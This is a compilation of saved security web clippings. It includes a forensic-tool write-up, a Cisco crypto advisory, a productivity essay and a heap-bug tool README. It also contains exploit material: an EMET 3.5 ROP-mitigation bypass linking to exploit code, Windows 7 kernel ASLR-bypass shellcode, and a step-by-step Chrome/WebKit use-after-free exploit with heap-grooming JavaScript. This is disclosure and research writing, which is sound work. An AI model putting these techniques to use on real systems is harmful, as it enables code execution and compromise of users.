  * Full path of executable \(full path not yet available for Win8\)
  * Execution count
  * Foreground count
  * Volumes applications executed from \(example: HardDiskVolume1\)
  * Timeframes of application activity \(ex. Weekday 6am-12pm or Weekend 6pm-12am\)
  * Timestamp \(purpose unknown but does not appear to be a reliable indicator of execution time\)

While timeframe information stored by SuperFetch has yet to be vetted for its
reliability, it presumably could help identify application activity occurring
at strange times. _Is it normal to see your company database application
accessed over the weekend?_

**@Superfetch \[-36s\] \[ <dir>\]**  
-3 Force parsing files in <dir> as 32 bit versions  
-6 Force parsing files in <dir> as 64 bit versions  
-s Recurse from <dir>
<dir> Optional directory of SuperFetch db files to process

The directory parameter of this plugin provides the option to parse database
files exported from a system or forensic image \(live system data is extracted
by default\). It allows the tool to be used for traditional forensic work in
addition to live response. Superfetch is very much on the cutting edge so
please do your own testing before betting your life on the results\!

<img src='img/Temp2_1683.jpg' alt='Superfetch_cmd' />

<img src='img/Temp2_1682.jpg' alt='Superfetch_Final' />

In this example, SuperFetch shows sethc.exe being executed four times. Since
this is a common “StickyKeys” attack vector and is rarely executed on a normal
system, it would be worth looking into.

<img src='img/Temp2_1681.jpg' alt='CrowdResponse_SuperFetchOutput' />

Plugin output showing the filter options for the various time periods tracked
by SuperFetch.

**Final Remarks**  
We hope you are as excited about these new additions as we are\! CrowdResponse
is a free community tool written by Robin Keir and CrowdStrike plans to
continue to release new capabilities. In the download package you will find
CrowdResponse.exe, a user guide, and the CRconvert.exe tool used to convert
the native XML output to CSV or HTML reports. Please use our forums to provide
feedback.

### Share this -

# Bypassing EMET 3.5′s ROP Mitigations « REP RET

**Created:**| _8/26/2012 8:27:44 PM_  
---|---  
**Updated:**| _8/26/2012 8:27:44 PM_  
**Author:**| __  
**Tags:**| _windows environment rop mitigations_  
  

# Bypassing EMET 3.5′s ROP Mitigations

August 8, 2012

UPDATE : **_It seems MS was aware of this kind of bypasses, so I bypassed EMET
ROP mitigations using another EMET’s implementation mistake. EMET team forget
about the KernelBase.dll and left all its functions unprotected. so I
used@antic0de‘s method for finding base address of kernelbase.dll at run-time,
then I used VirtualProtect inside the kernelbase.dll, not ntdll.dll or
krenel32.dll. you can get new exploit at the end of this post._**

I have managed to bypass EMET 3.5, which is recently released after Microsoft
BlueHat Prize, and wrote full-functioning exploit for CVE-2011-1260 \(I
choosed this CVE randomly\!\) with all EMET’s ROP mitigation enabled.

http://support.microsoft.com/kb/2458544

Demo:  
  

EMET’s ROP mitigation works around hooking certain APIs \(Like
VirtualProtect\) with Shim Engine and monitors their initialization.I have
used SHARED\_USER\_DATA which mapped at fixed address “0x7FFE0000″ to find
KiFastSystemCall address \(SystemCallStub at “0x7FFE0300″\), So I could call
any syscall by now\!By calling ZwProtectVirtualMemory’s SYSCALL “0x0D7″, I
made shellcode’s memory address RWX. After this step I could execute any
instruction I wanted. But to execute actual shellcode \(with hooked APIs like
“WinExec”\) I did patched EMET to be deactivated completely. BOOM\! ** _you
can use both this methods for generally bypassing EMET ROP mitigations in
other exploits, all you need is to bypass ASLR._**

Here is the asm code which makes EMET 3.5 deactivated And actual exploit I
wrote:

http://upit.ir/do.php?filename=c70b3a6db91.zip

Kernelbase method :

http://upit.ir/do.php?filename=13240d8aff1.zip

<img src='img/ms-emet1.png' />

# Windows 7 x86's \!nt scandown method on ring 0 \( kernel ASLR bypass \)

**Created:**| _6/14/2010 11:35:42 AM_  
---|---  
**Updated:**| _6/14/2010 11:35:42 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

# Windows 7 x86's \!nt scandown method on ring 0 \( kernel ASLR bypass \)

[code]

    +----------------------------------------------------------------------+
    | Windows 7 x86's !nt scandown method on ring 0 ( kernel ASLR bypass ) |
    +----------------------------------------------------------------------+
    
    [1] Summary
    When Writing Windows 7 Kernel Payload, kernel ASLR makes you hard to call nt!'s kernel api functions as 'NtProtectVirtualAddress()'
    I found another way of scandown the nt!'s base address on kernel ASLR implied systems. 
    
    nt!KiInitialPCR() API address is saved at [0x30]:[0x1c], then you can get the !nt's base address. 
    and also can resolving addresses of those api functions of !nt.
    
    nt! == 'C:\WINDOWS\system32\ntkrpamp.exe' ( NT Kernel & System )
    
    [2] testbed
    MS Windows 7 Enterprise K ( x86 ) on Vmware
    ( 'K' maybe Korean edition? yeah... )
    
    [3] Assembly Codes
    [ 301C_nt_SCANDOWN.asm ] -------------------------------------------------------------------------
    "\x66\xbf\x30\x00"              // mov di, 30h ; segment selector
    "\x66\x8e\xef"                  // mov gs, di
    "\x65\x8b\x3d\x1c\x00\x00\x00"  // mov edi,dword ptr gs:[1Ch] ; nt!KiInitialPCR = [30h][1Ch]
    "\x81\xef\x00\x1c\x12\x00"      // sub edi, 121C00h ; base addr of nt!
    "\x81\xc7\xf9\xca\x23\x00"      // add edi, 23CAF9h ; file offset of NtProtectVirtualMemory
    
    ; edi = nt!NtProtectVirtualMemory
    [ eoa ]-------------------------------------------------------------------------------------------
    
    p.s: i tested on '[2] testbed'. so you can apply it after changing those above offsets if you want to using on the other windows systems.
    
    Greets to Xpl017Elz, rebel
    
    [4] other general ways using gdt/idt
    --
    idtr base addr = 0x80b95400
    kd> dc 80b95400
    80b95400  00081570 [82c58e00] 00081700 82c58e00  p...............
    80b95410  00580000 00008500 00081b70 82c5ee00  ..X.....p.......
    80b95420  00081cf8 82c5ee00 00081e58 82c58e00  ........X.......
    80b95430  00081fcc 82c58e00 000825c8 82c58e00  .........%......
    80b95440  00500000 00008500 00082a28 82c58e00  ..P.....(*......
    80b95450  00082b4c 82c58e00 00082c8c 82c58e00  L+.......,......
    80b95460  00082eec 82c58e00 000831dc 82c58e00  .........1......
    80b95470  0008388c 82c58e00 00083c40 82c58e00  .8......@<......
    
    [ assembly codes ]
    0040B517     B8 0008DFFF    MOV EAX,FFDF0800
    0040B51C     0F0108         SIDT FWORD PTR DS:[EAX]
    0040B51F     8D58 04        LEA EBX,DWORD PTR DS:[EAX+4]
    0040B522     8B3B           MOV EDI,DWORD PTR DS:[EBX]
    --
    
    
    --
    nickname: x90c 
    email: geinblues@gmail.com
    personal hompage: http://www.x90c.org
    --
    
[/code]

# Cisco Security Response: Use of Dual\_EC\_DRBG in Cisco Products

**Created:**| _10/17/2013 11:07:26 AM_  
---|---  
**Updated:**| _10/17/2013 12:20:14 PM_  
**Author:**| __  
**Tags:**| _cisco crypto Disclosure_  
  

# **C** isco Security Response****

## Use of Dual\_EC\_DRBG in Cisco Products****

### Document ID: 36356****

#### For Public Release 2013 October 16 16:00 UTC \(GMT****\)  

* * *
## Cisco Response****

Cisco is aware of the industry discussion regarding the Dual Elliptic Curve
Deterministic Random Bit Generator \(Dual\_EC\_DRBG\) and the recent decision
of the U.S. National Institute of Standards and Technology \(NIST\) to reopen
the 800-90A Special Publication \(SP\) to public review**.**  
  
Cisco applauds the decision for increased public review of cryptographic
standards and will monitor for any updates to NIST SP 800-90A**.**  
  
Cisco has completed an internal investigation and has confirmed that the
Dual\_EC\_DRBG is not in use in any Cisco products**.**

### Additional Information****

Cisco licenses third-party components that include the Dual\_EC\_DRBG;
however, this Deterministic Random Bit Generator \(DRBG\) is not in use in any
Cisco products**.**  
  
Cisco products that use DRBGs for encryption are compliant with either the
older ANSI X9**.** 31 standard or the newer NIST SP 800-90A standard. The
800-90A-compliant crypto libraries in Cisco products have four DRBG options
available to Cisco developers, but the standard Cisco implementation is
Advanced Encryption Standard Counter mode \(AES-CTR\), not Dual\_EC\_DRBG**.**
Additionally, there are no configuration modifications that could enable
Dual\_EC\_DRBG**.**  
  
Cisco provides strong encryption options that comply with international
standards and local regulations**.** We are always watching for stronger
encryption options, and if we find such an option, it will be implemented for
the benefit of our customers**.**

### Status of this Notice: Final****

THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF
GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS
FOR A PARTICULAR USE**.** YOUR USE OF THE INFORMATION ON THE DOCUMENT OR
MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK**.** CISCO RESERVES THE
RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME**.**

A stand-alone copy or Paraphrase of the text of this document that omits the
distribution URL in the following section is an uncontrolled copy, and may
lack important information or contain factual errors**.**

### Revision History****

Revision 1**.** 0 | 2013-October-16 | Initial public release**.**  
---|---|---  
### Cisco Security Procedures****

Complete information on reporting security vulnerabilities in Cisco products,
obtaining assistance with security incidents, and registering to receive
security information from Cisco, is available on the Cisco worldwide website
at
http://www.cisco.com/en/US/products/products\_security\_vulnerability\_policy.html
**.** This includes instructions for press inquiries regarding Cisco Security
Notices**.** All Cisco Security Advisories are available at
http://www.cisco.com/go/psirt **.**

****

# Book Of Hook

**Created:**| _3/20/2013 9:14:32 AM_  
---|---  
**Updated:**| _3/20/2013 9:14:32 AM_  
**Author:**| __  
**Tags:**| _vulnerability xss_  
  

# Book Of Hook

Eventually working around high-productivity professionals like John Carmack
made me realize that if you want to excel, then you have to work hard and
focus the whole time.

<img src='img/Temp2_1120.jpg' />  
---  
John Carmack Productivity Measurement Tool ca. 1998  
I remember Carmack talking about productivity measurement. While working he
would play a CD, and if he was not being productive, he'd pause the CD player.
This meant any time someone came into his office to ask him a question or he
checked email he'd pause the CD player. He'd then measure his output for the
day by how many times he played the CD \(or something like that -- maybe it
was how far he got down into his CD stack\). I distinctly remember him saying
"So if I get up to go to the bathroom, I pause the player".  
  
You know what's pretty hardcore? Thinking that  _going to the bathroom_ is
essentially the same as fucking off.

\(Sidenote: my memory is hazy on this since it was long ago -- CD PLAYERS
yo\).

That level of work ethic and focus is rare, particularly with my generation of
programmers who were raised with the vile "work smart, not hard" mantra,
coupled with the sense that we were somehow significantly brighter than most
of our peers. Combine those two notions and add the Scotty Principle  and you
get....me.

<img src='img/Temp2_1121.jpg' />

If my coworkers were grinding through stuff that took them 20 hours, I'd be
all "I work _smart_ , not _hard_ " with accompanying snarky eye roll, and I'd
assume I could bust through an equivalent work load in four hours and still
look like a goddamn superhero.

And sometimes I could, so, hey, validation\!

And you can skate by like this \(God knows I did\) for a long time before a
couple things eventually rear their heads and bite you in your entitled face.

####  Productivity Deficit: Your Attitude Writing Checks Your Work Ethic Can't
Cash

An overinflated sense of your own abilities creates a constant state of
production deficit, because you assume that you can make it up with a burst of
brilliance and/or crunch.

But there is no countering surplus to offset the deficit. The only way
surpluses show up is when you finish a \(presumably\) hard task much faster
than you anticipated. But instead of banking the surplus \(i.e. moving on
immediately to your next task\), you spend it relaxing and screwing off
because, whew, you just earned a small vacation by busting shit out in an hour
that you thought would take all day. Hey, what's on Facebook and Twitter right
now? Do I have any new mail? No? I wonder if anyone has tweeted something
recently since the last time I checked...what about Reddit? Oh, an
inspirational/funny/cool YouTube video, it's only eight minutes long, let me
watch it now\! \(Eight minutes later\) Sweet...what's up Twitter? Oh man, I
have to make a snarky response, but first I have to Google for that XKCD comic
that totally makes my point for me...

And before you know it, the day is done, and you're still feeling good because
you finished in one hour what should have taken all day, so all good, right?

####  Trap of the Easy Task

And yeah, it's often all good, but when operating at a slight deficit things
can go pear shaped quickly when you accidentally spring the trap of the easy
task. Tasks so trivial that they barely register as work. Update an SDK? Hour,
tops. Implement this feature that I've already done on every other platform?
Hour, tops. This is all mindless grunt work that anyone could do, it's just
clicking through dialog boxes, maybe changing a few lines of source,
rebuilding, whatever.

In other words, an easy task like this is _so_ easy that it's a constant time
cost for everyone irrespective of ability, so there's no opportunity nor need
for crazy overestimation since  _what could possibly go wrong?_

Well, as with so many things, it's the unexpected things that screw you the
hardest. The things that _should_ be trivial end up taking days because, shit,
that SDK install required a new compiler install, and the new compiler install
failed and I can't uninstall it, and now I have to fucking WIPE MY WHOLE
GODDAMN HARD DRIVE TO RECOVER. Or you need to implement something that was
trivial on nine other platforms, and it should be 30 minutes on platform
number ten, except it lacks a base feature that is present on everything else,
the compiler is dying with an "Internal compiler failure 2033", the API call
you need to use hangs the dev console immediately and, oh, the dev support
site you use to get release notes is totally down for the foreseeable future.

So what should have taken less than an hour took a week.

It's like having a perfect monetary budget that assumes no crazy "one time"
only bills, except life is full of crazy one time only bills and the only way
you can keep those under control is by giving yourself a budgetary capacitor
to dampen the fluctuations.

And now you're defensive about losing a week to something stupid because you
budgeted an hour for it and waited until the last second to do it and now the
schedule has gone to hell, but it's not _your_ fault, because it could have
happened to anyone\! But if you had banked your surplus hours before and/or
worked at closer to your theoretical peak effectiveness then this type of
thing would get absorbed in the wash.

And now you live in a state of mild panic because you're way smarter than all
this but you're never actually getting things done on time.

####  Identity Recalibration Crisis

Which leads to a potential identity recalibration crisis upon landing at a
company with high performers that work hard _and_ smart. And that will happen
if you're good. Now you're no longer at the top of the curve. In fact, shit,
you're in the middle or _bottom_ of the curve, a situation your brain probably
never considered as an option.  
---  
This dude was my wake up call with respect to my  
over inflated sense of skill  
I went through this when I went to id software. I had rationalized that John
Carmack's success was just a factor of timing and luck since, hell, he was my
age, and I was pretty smart, so what else could it be? Upon my arrival I had a
crash course in humility, because he was _way_ smarter than me and _way_ more
productive as well.  
  
This took a while to sink in, because until then I was used to believing I was
one of the better programmers at a company. And then working with Carmack I
realized he was not just a little better, he was _orders of magnitude_ better.
And I couldn't dismiss it with a "But I write a lot of code" hand wave,
because he also wrote like 80% of the Quake code base.

Sometimes it takes a while for this to sink in. Sometimes it doesn't sink in
at all, and you're let go because you're not very productive compared to your
new team of high performers. Sometimes it sinks in, and you panic and get
depressed because your self-image has always been that of being the strongest
swimmer in the school, and right now you're just trying not to drown, much
less keep up with everyone else.

But ideally you shrug off the old counter productive mentality and habits and
emerge as another one of the high functioning team members, but that can take
a lot of work, particularly if you have to get over years of giving it twenty
percent.

####  Killing the Underachiever

If my pithy advice were little more than "Be more like John Carmack" then I
can imagine a lot of readers throwing up their hands and saying "Well, fuck
it, I'm a lost cause, because that's not going to happen." But what I can do
is relate some of the things that helped me kill off some of my underachieving
habits. The point isn't to become a superstar, it's to become better, since
that's always the first step.  
  
I don't believe in mechanical solutions \("Turn off the internet", "Listen to
music", and stuff like that\) because I don't think they address the core
issues, which are psychological. Instead I found that I had to do the
following.

  1. **Develop self-awareness**. It took working with John Carmack and other high productivity programmers and _admitting that they were way more productive than me_ before I really understood how much more productive I could be. In other words, if you don't admit it's something worth improving, then obviously you're not going to search for a solution, and if that's the case, you should go here or here .
  2. **Give a shit**. Originally I called this "develop a sense of urgency", but really it's just about caring about getting your work done. It doesn't even matter what you specifically care about\! It can be your professional image, your product, your team, your customers, whatever. You just have to care about something that will drive you to getting things done, because if you don't, apathy will occupy that void.
  3. **Minimize uncertainty**. In another blog article, Productivity vs. Uncertainty and Apathy , I talk about how poorly defined goals can lead to poor productivity. If it's unclear what you need to get done _today_ , then there's a reasonable chance you won't actually _do_ anything today.
  4. **Commit to getting something done every day.** When you show up in the morning have a well defined set of things to finish that day. Stay as late as you have to in order to finish. By committing to finishing that task other distractions will naturally fall by the wayside. For example, I have jiu-jitsu training at 7pm. If I screw off too much during the day, I don't get to train. Also, by committing to a task, you avoid "being busy" instead of "getting work done", they're not the same thing . 
  5. **Never say "I'll finish it up tomorrow" or "I'll make up for it by coming in early/staying late/working the weekend". ** This is an easy trap to get into, where you keep incurring time debt until at some point you realize you're now three weeks behind on a task that should have taken two days. This is like racking up credit card bills assuming you can pay them off later. Which is fine, until "later" arrives and you've only accumulated more debt.
  6. **Do not overpromise to make up for poor productivity**. There's a tendency when we're falling behind to try to overcompensate with future promises. "When I'm done, it'll be AWESOME" or "I know I'm late, but I'm positive I'll be done by Monday". By doing those things we just build more debt we can't pay off, and that will eventually lead to a catastrophic melt down when the super final absolutely last deadline date shows up. Just get shit done, don't talk about how you're going to get shit done.
  7. **Have an objective productivity metric.** This is a mechanical thing, but it acts as a reasonable backstop. If you have changelogs you can reference, then it's easy to sit down on Friday and ask yourself "What have I done this week?" And if you know that it's possible for others to check on you, then it makes you take each day a lot more seriously. If you judge your value solely on output, not subjective things like "being smart", you will be more productive.
  8. **Accept that "the grind" is part of the job**. A friend of mine's father has a great quote: "Son, i don't wake up every day and go to a place called fun. I wake up and go to a place called _work_ " You can't get irate or frustrated that the bulk of the day is typing in boring code and dealing with bugs and other people. 

I still screw off during the day. I am not a code grinding automaton. I read
Facebook, chat with others, Tweet, shop on Amazon, get coffee, read forums,
write blog posts like this oneand I'm _totally fine with that_.

Because I know I'm committed to getting things done as well. So even though
I'm writing this right now at 3pm, if I have to work until 8pm to get my shit
done and checked in, I'll do that, so that tomorrow is a fresh start, not a
day of "Oh goddamit, let's try _again_ to finish that task I started a week
ago."

# WinHeapExplorer/WinHeap-Explorer

**Created:**| _9/23/2018 8:43:37 AM_  
---|---  
**Updated:**| _9/23/2018 8:43:37 AM_  
**Author:**| _wishi_  
**Tags:**| _binary instrumentation iDA pin_  
  

  

# WinHeap-Explorer

The efficient and transparent proof-of-concept tool for heap-based bugs
detection in x86 machine code for Windows applications.

# Requirements

WinHeap Explorer main module

  1. Intel pin-2.14-71313-msvc10-windows http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.14-71313-msvc10-windows.zip

IDAScripts

  1. IDA disassembler \(6.8 or higher\) + IDAPython.

# Usage

[code]

    pin.exe -t winhe.dll -o results.txt -d sysdlls_ins_list -redzones_size 16 -- calc.exe
    -d <sysdlls_ins_list> - file with a list of instructions in system or/and user dlls that should be instrumented.
    -o <log_file> - file to save results.
    -redzones_size - size of redzones to check heap out of bound access (default 8).
    
[/code]

A list of instructions to instrument may be obtained using the scripts
provided in the IDAScript folder:

[code]

    sysdlls_parser.py [path to system dll]
    usedlls_parser.py -d 2 [path to user dll]
    -d <depth_level> - search depth level for potentially dangerous routines.
    Please take a look at config.conf file to configure the scripts.
    
[/code]

NOTE: The IDAScripts is possible to use directly from IDAPro without wrappers
specified above.

  

# Security: Exploiting 64-bit Linux like a boss

**Created:**| _2/4/2013 7:23:24 AM_  
---|---  
**Updated:**| _2/4/2013 7:23:24 AM_  
**Author:**| __  
**Tags:**| _web-app-sec Exploit vulnerability_  
  

# Exploiting 64-bit Linux like a boss

Back in November 2012, a Chrome Releases blog post  mysteriously stated:
"Congratulations to Pinkie Pie for completing challenge: 64-bit exploit".  
  
Chrome patches and autoupdates bugs pretty fast but this is a WebKit bug and
not every consumer of WebKit patches bugs particularly quickly. So I've waited
a few months to release a full breakdown of the exploit. The exploit is
notable because it is against 64-bit Linux. 64-bit exploits are generally
harder than 32-bit exploits for various reasons, including the fact that some
types of heap sprays are off the table. On top of that, Linux ASLR is
generally better than Windows ASLR  \(although not perfect \). For example,
Pinkie Pie's Pwnium 2 exploit defeated Win 7 ASLR by relying on a statically-
addressed system object\! That sort of nonsense is generally absent from Linux
ASLR.  
  
Without any further ado, I'll paste my raw notes from the exploit
deconstruction below. The number of different techniques used and steps
involved is quite impressive.  
  
The bug  
A single WebKit use-after-free bug was used to gain code execution. The logic
flaw in WebKit was reasonably simple: when a WebCore::HTMLVideoElement is
garbage collected, the base class member WebCore::HTMLMediaElement::m\_player
-- a WebCore::MediaPlayer -- is freed. A different object, a
WebCore::MediaSource, holds a stale pointer to the freed WebCore::MediaPlayer.
The stale pointer can be prodded indirectly via Javascript methods on either
the JS MediaSource object, or JS SourceBuffer objects owned by the JS
MediaSource.  
  
The exploit  
The exploit is moderately complicated, with multiple steps and techniques
used. Pinkie Pie states that the complexity is warranted and generally caused
by limited lack of control, and therefore limited options for making progress
at each stage.  
  
The exploit steps are as follows:  
  
1\. Allocate a large number of RTCIceCandidate objects \(100000\) and then
unreference a small subset of them.  
tempia = new Uint32Array\(176/4\);  
rtcs = \[\];  
rtcstring = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';  
rtcdesc = \{'candidate': rtcstring, 'sdpMid': rtcstring\}  
for\(var i = 0; i < 100000; i++\) \{  
rtcs.push\(new RTCIceCandidate\(rtcdesc\)\);  
\}  
for\(var i = 0; i < 10000; i++\) rtcs\[i\] = null;  
for\(var i = 90000; i < 100000; i++\) rtcs\[i\] = null;  
This step indirectly creates a lot of WebCore::WebCoreStringResource \(v8
specific\) objects and a later garbage collection will free some subset of
them.  
These objects are 24 bytes in size \(fitting into a tcmalloc slab of 32 byte
sized allocations\), so it means that any future 24 byte allocation has a
large probability of being placed directly before a
WebCore::WebCoreStringResource object. This is significant later.  
A 176-byte sized buffer is also allocated.  
  
2\. Trigger free of MediaPlayer and the 176-byte sized buffer; allocate
another MediaSource object.  
buffer = ms.addSourceBuffer\('video/webm; codecs="vorbis,vp8"'\);  
vid.parentNode.removeChild\(vid\);  
vid = null;  
gc\(\);  
tempia = null;  
gc\(\);  
ms2 = new WebKitMediaSource\(\);  
sbl = ms2.sourceBuffers;  
The WebCore::MediaPlayer is 264 bytes in size \(tcmalloc bucket 257 - 288\).
When it is freed, many child objects are also freed. The only important one is
a 168 byte sized WebKit::WebMediaPlayerClientImpl object \(tcmalloc bucket 161
- 176\).  
Allocation of the WebCore::MediaSource \(176 bytes\) also subsequently
allocates a WebCore::SourceBufferList child object \(168 bytes\). The free of
the temporary 176 byte buffer \(tempia\) is to ensure that its freed slot is
used for the WebCore::MediaSource object, leaving the freed slot that was
occupied by a WebKit::WebMediaPlayerClientImpl to be occupied by a new
WebCore::SourceBufferList object.  
  
3\. Call vtable of freed WebMediaPlayerClientImpl.  
buffer.timestampOffset = 42; // free  
In C++, this triggers the call chain WebCore::SourceBuffer ->
WebCore::MediaSource -> WebCore::MediaPlayer -> \(virtual\)
WebKit::WebMediaPlayerClientImpl.  
You’ll notice that the call chain bounces through the WebCore::MediaPlayer,
which is freed. However, the only access is to the
WebCore::MediaPlayer::m\_private member at offset 72. delete’ing the object
only interferes with the first 16 bytes \(on account of tcmalloc writing two
freelist pointers\) and the WebCore::MediaPlayer::m\_mediaPlayerClient member.
The WebCore::MediaPlayer free slot isn’t otherwise meaningfully re-used by
this point.  
  
What happens next is fascinating.
WebCore::MediaPlayer::sourceSetTimestampOffset dissassembles to:  
0x00007f61a0ced4c0 <+0>: mov rdi,QWORD PTR \[rdi+0x48\]  
0x00007f61a0ced4c4 <+4>: mov rax,QWORD PTR \[rdi\]  
0x00007f61a0ced4c7 <+7>: mov rax,QWORD PTR \[rax+0x208\]  
0x00007f61a0ced4ce <+14>: jmp rax  
This loads the vtable for the WebCore::MediaPlayer::m\_private member and
calls the vtable function at 0x208. WebCore::MediaPlayer::m\_private is
supposed to be a WebKit::WebMediaPlayerClientImpl object but a
WebCore::SourceBufferList was overlayed there. WebCore::SourceBufferList
objects have a vtable, but a much smaller one\! Offset 0x208 in this vtable
hits a vtable function in a totally different vtable, specifically
WebCore::RefCountedSupplement::~RefCountedSupplement, which disassembles to:  
0x00007ffd9ec51e00 <+0>: lea rax,\[rip+0x3276969\]  
0x00007ffd9ec51e07 <+7>: mov QWORD PTR \[rdi\],rax  
0x00007ffd9ec51e0a <+10>: jmp 0x7ffd9e5b2c80 <**WTF::fastFree\(void\*\) >**  
  
As these opcodes execute, rdi is a this pointer for a
WebCore::SourceBufferList object \(which the calling code believed was a this
pointer to a WebKit::WebMediaPlayerClientImpl object\). As you can see, the
side effects of these opcodes are:  
\- Trash the vtable pointer of the WebCore::SourceBufferList object.  
\- Do a free\(this\), i.e free the WebCore::SourceBufferList object.  
\- Return cleanly to the caller.  
  
4\. Use HTML5 WebDatabase functionality to allocate a SQLStatement as a side
effect.  
transaction.executeSql\('derp', \[\], function\(\) \{\}, function\(\) \{\}\);  
slength = sbl.length;  
A WebCore::SQLStatement object is 176 bytes in size. So it is allocated into
the slot just vacated by free’ing the WebCore::SourceBufferList object in step
3 above. This is the same slot that we free’d the
WebKit::WebMediaPlayerClientImpl from.  
There are now two Javascript objects pointing to freed objects: a direct
handle to a freed WebCore::SourceBufferList \(sbl\) and an indirect handle to
a freed WebKit::WebMediaPlayerClientImpl \(buffer\).  
At this time, a call is made in Javascript to sbl.length. It is not required
for the exploit and nothing is done with the integer result, but looking at
this call under the covers is instructive.  
To return the length, a 64-bit size\_t is read from offset 136 into the
WebCore::SourceBufferList object. Since a WebCore::SQLStatement was put on top
of the freed WebCore::SourceBufferList, the actual value read is a
WebCore::SQLStatement::m\_statementErrorCallbackWrapper::m\_callback member
pointer. Leaking this value to Javascript might be useful as it is a heap
address. However, Javascript lengths are 32-bit so only the lower 32-bits of
the address are leaked. The entropy that’s important for ASLR on 64-bit Linux
is largely in the next 8 bits above the bottom 32 bits, so the heap address
cannot be usefully leaked\!  
Exploitation of similar overlap situations would not be a problem on systems
with 32-bit pointers.  
  
5\. Abuse overlapping fields in SourceBufferList vs. SQLStatement.  
sb = sbl\[0xa8/8\];  
Next, the Javascript array index operator is used. At this time, the
Javascript handle to the WebCore::SourceBufferList is actually backed by a
WebCore::SQLStatement object at the C++ level. The
WebCore::SourceBufferList::m\_list member is a WTF::Vector and that starts
with two important 64-bit fields: a length and a pointer to the underlying
buffer.  
As covered above, the length now maps to a pointer value. A pointer value,
when treated as an integer, will be very large, effectively sizing the vector
massively. And the vector’s underlying buffer pointer now maps to the member
SQLStatement::m\_statementErrorCallbackWrapper::m\_scriptExecutionContext.  
  
Therefore, the Javascript array operator on JS SourceBufferList will return a
JS SourceBuffer object which is backed in C++ by a pointer pulled from
somewhere in a C++ WebCore::ScriptExecutionContent object, depending on the
array index.  
  
The exploit uses array index 21, which corresponds to offset 168, or
WebCore::ScriptExecutionContext::m\_pendingExceptions. This is a pointer to a
WTF::Vector. So, there is now a Javascript handle to a JS SourceBuffer object
which is really backed by a WTF::Vector.  
  
6\. Read vtable value as a Javascript number.  
converterF64\[0\] = sb.timestampOffset;  
In C++, the timestampOffset property is read from a 64-bit double at offset 32
of the WebCore::SourceBuffer object. The WebCore::SourceBuffer object is
currently backed by a WTF::Vector object, which is 24 bytes in size and lives
in a 32 byte tcmalloc slot. Therefore, a read at offset 32 will in fact read
from the beginning of the next tcmalloc slot. Looking back to step 1, it was
arranged to be likely that the adjacent 32 byte slot will contain a
WebCore::WebCoreStringResource object. Therefore, the
WebCore::WebCoreStringResource vtable is read and returned to Javascript as a
number. Javascript numbers are 64-bit doubles so there are no truncation
issues like those discussed with reading an integer length above in step 4.  
  
That’s a lot of effort, but finally the exploit has leaked a vtable value to
Javascript. For a given build of Chrome, it is now easy to calculate the exact
address of all opcodes, functions, etc. in the binary.  
  
7\. Re-trigger use-after-free and back freed object with array buffer.  
buffer2 = ms3.addSourceBuffer\('video/webm; codecs="vorbis,vp8"'\);  
vid2.parentNode.removeChild\(vid2\);  
vid2 = null;  
gc\(\);  
var ia = new Uint32Array\(168/4\);  
rtc2 = new webkitRTCPeerConnection\(\{'iceServers': \[\]\}\);This time, the
freed WebKit::WebMediaPlayerClientImpl is replaced with a 168 raw byte buffer
that can be read and written through Javascript. This is now a useful
primitive because ASLR was defeated and a useful vtable pointer value can be
put in the first 8 bytes of the raw byte buffer.  
A WebCore::RTCPeerConnection is also allocated \(264 bytes\) to occupy the
slot for the freed WebCore::MediaPlayer. This protects the freed
WebCore::MediaPlayer from corruption. Significantly, it makes sure nothing
overwrites the WebCore::MediaPlayer::m\_private pointer. This pointer is
needed intact. It is at offset 72 and WebCore::RTCPeerConnection does not
overwrite that field during construction.  
  
8\. Leak address of a heap buffer under Javascript control.  
add64\(converterI32, 0, converterI32, 0, -prepdata\['found\_vt'\]\);  
add64\(ia, 0, converterI32, 0, prepdata\['mov\_rdx\_112\_rdi\_pp'\]\);  
add64\(ia, 0, ia, 0, -0x1e8\);  
var ib8 = new Uint8Array\(0x10000\);  
var ib = new Uint32Array\(ib8.buffer\);  
buffer2.append\(ib8\);  
var ibAddr = \[ia\[112/4\], ia\[112/4 + 1\]\];Using knowledge of the binary
layout, a vtable value is chosen that will result in the
WebCore::MediaPlayer::sourceAppend vtable call site calling the function
v8::internal::HStoreNamedField::SetSideEffectDominator. An appropriate
function name. It disassembles to:  
0x00007f153efd7340 <+0>: mov QWORD PTR \[rdi+0x70\],rdx  
0x00007f153efd7344 <+4>: ret As can be seen, the value of rdx \(the 2nd non-
this function parameter\) is written to offset 112 of this. this is backed by
a raw buffer pointer for the ia Javascript Uint32Array and rdx in the context
of WebCore::MediaPlayer::sourceAppend is a raw buffer pointer for the ib
Javscript Uint32Array.  
Therefore, the address of a heap buffer under the control of Javascript has
been leaked to Javascript.  
  
9\. Proceed as normal.  
The exploit now has control over a vtable pointer. It can point the vtable
pointer at a heap buffer where the contents can be controlled arbitrarily. The
exploit is free to start ROP chains etc.  
As it happens, the exploit payload is expressed in terms of valid full
function calls. This is achieved by bouncing into a useful sequence of opcodes
in a template base::internal::Invoker<3>:  
0x00007f153fc71d40 <+0>: mov rax,rdi  
0x00007f153fc71d43 <+3>: lea rcx,\[rdi+0x30\]  
0x00007f153fc71d47 <+7>: mov rsi,QWORD PTR \[rdi+0x20\]  
0x00007f153fc71d4b <+11>: mov rdx,QWORD PTR \[rdi+0x28\]  
0x00007f153fc71d4f <+15>: mov rax,QWORD PTR \[rax+0x10\]  
0x00007f153fc71d53 <+19>: mov rdi,QWORD PTR \[rdi+0x18\]  
0x00007f153fc71d57 <+23>: jmp raxAs can be seen, these opcodes pull a jump
target, a new this pointer and two function arguments from the current this
pointer. A very useful construct.

# Visualizing TCP

**Created:**| _12/13/2010 8:22:17 PM_  
---|---  
**Updated:**| _12/13/2010 8:25:07 PM_  
**Author:**| __  
**Tags:**| _bookmark visualization network-security_  
  

### Visualizing TCP

This video depicts an HTTP GET by showing packets as balls flying between
client and server, slowed 40x compared to real time. It's pretty nice for
getting a visceral sense of the underlying TCP session: you can see individual
rounds at the start and then as the session stabilizes the rounds begin to
